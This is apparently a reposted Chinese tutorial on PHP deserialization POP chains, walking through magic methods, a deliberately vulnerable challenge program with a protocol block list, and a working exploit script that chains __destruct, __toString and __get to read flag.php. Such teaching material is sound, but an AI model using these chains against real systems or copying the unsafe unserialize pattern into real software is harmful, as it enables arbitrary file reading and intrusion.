反序列化POP链技术详解

渗透技巧 4年前 (2020) admin
562 0 0


作者 I  伟大宝宝


修改&排版 I  伟大宝宝




POP(Procedure Oriented Programming)链是反序列化安全问题中相对比较重要的技术点,相比于其他的反序列化问题,这种漏洞的产生更加难以发现,以及在利用上也比较复杂。

要掌握这个东西首先要先了解面向对象中的几个特殊函数:

1. __call()函数

当调用一个不可访问的方法时会自动调用本函数。这里的不可访问包含私有属性或未定义。

2. __get()函数

当调用一个不可访问的属性的时候会自动调用本函数。这里的不可访问包含私有属性或未定义。

3. __set()函数

当给不可访问的属性进行赋值的时候会自动运行本函数。

4. __toString()函数

当将当前对象以字符串的形式进行输出时会执行这个函数中的代码。

5. __destruct()函数

当对象操作执行完毕后自动执行__destruct()函数的代码。

6. __wakeup()函数

在进行反序列化的时候会优先调用本函数。

7. __construct()函数

初始化函数又叫构造函数,用来在创建对象的时候进行一些初始化操作,如执行函数、初始化变量。

 

这里我用一个网上的程序来讲一下,因为这个例子比较简单,适合刚接触的同学研究。过段时间会拿一个赛题来具体讲一下。

class C1e4r{    public $test;    public $str;    public function __construct($name){        $this->str = $name;    }    public function __destruct(){        $this->test = $this->str;        echo $this->test;    }}class Show{    public $source;    public $str;    public function __construct($file){        $this->source = $file;        echo $this->source;    }    public function __toString(){        $content = $this->str['str']->source;        return $content;    }    public function __set($key,$value){        $this->$key = $value;    }    public function _show(){        if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {            die('hacker!');        } else {            highlight_file($this->source);        }
} public function __wakeup(){ if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) { echo "hacker~"; $this->source = "index.php"; } }}class Test{ public $file; public $params; public function __construct(){ $this->params = array(); } public function __get($key){ return $this->get($key); } public function get($key){ if(isset($this->params[$key])) { $value = $this->params[$key]; } else { $value = "index.php"; } return $this->file_get($value); } public function file_get($value){ $text = base64_encode(file_get_contents($value)); return $text; }}$name=unserialize($_GET[strs]);

POP链的主要内容就是对象中的各个函数间的调用关系链,将每个函数的调用关系拼接起来就是我们的POP链。

那么根据这个思维来看上面的程序,我们首先确定好要调用Test类中的file_get方法来读取文件内容,为此我们需要使用Test类中的get方法来调用file_get方法,接下来发现Test类中的__get方法可以调用get方法从而调用file_get来读取文件。

那么现在的POP链就是:


Test::__get()->Test::get()->Test::get_file()

下面继续寻找能够触发__get()方法的途径。在Show类中看见有个__toString方法,其中能够调用一个属性进行赋值操作,这里可以触发__get方法,所以这里需要将创建的Test对象赋值给$this->str[‘str’],那么如何去触发__toString方法?这里可以通过C1e4r类中的__destruct进行触发。

那么现在的POP链就很明了了,这里给的是逆向关系链。


((Test::__get()->Test::get()->Test::get_file())->Show::str[‘str’])->C1e4r::str

接下来构造利用脚本

<?php  class C1e4r{    public $test;    public $str;    public function __construct($name){          $this->str = $name;      }      public function __destruct(){          $this->test = $this->str;          echo $this->test;      }  }  class Show{    public $str;    public $source;    public function __toString(){          $content = $this->str['str']->source;          return $content;      }  }
class Test{ public $file; public $params; }
$T=new Test(); $T->params=array('source'=>'flag.php'); $S=new Show(); $S->str=array('str'=>$T); $C=new C1e4r($S); echo serialize($C);?>

反序列化POP链技术详解

已经将文件内容读了出来。

 

我个人感觉这个比较的简单,如果觉得难的不妨可以多去琢磨一下。

有问题欢迎在下方留言评论,如果感觉本文写的不错,也欢迎来个三连(点赞,转发,评论)~



反序列化POP链技术详解


关于安全方面的文章你可能还想读

SQL二次注入原理分析

安洵杯easy_web

JWT安全分析



白帽子社区

微信号 : baimaoshequ

知乎:白帽子社区

长按识别二维码关注

反序列化POP链技术详解
反序列化POP链技术详解
在看点这里
反序列化POP链技术详解



原文始发于微信公众号(白帽子社区):反序列化POP链技术详解

版权声明:admin 发表于 2020年6月22日 下午7:28。
转载请注明:反序列化POP链技术详解 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...